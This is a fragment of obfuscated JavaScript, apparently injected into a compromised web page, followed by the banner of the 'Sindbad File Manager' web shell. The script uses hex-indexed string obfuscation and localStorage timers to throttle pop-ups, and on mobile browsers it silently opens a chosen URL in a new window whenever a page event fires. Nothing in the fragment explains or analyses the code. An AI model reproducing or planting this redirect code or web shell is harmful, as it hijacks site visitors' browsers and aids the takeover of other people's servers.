_0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists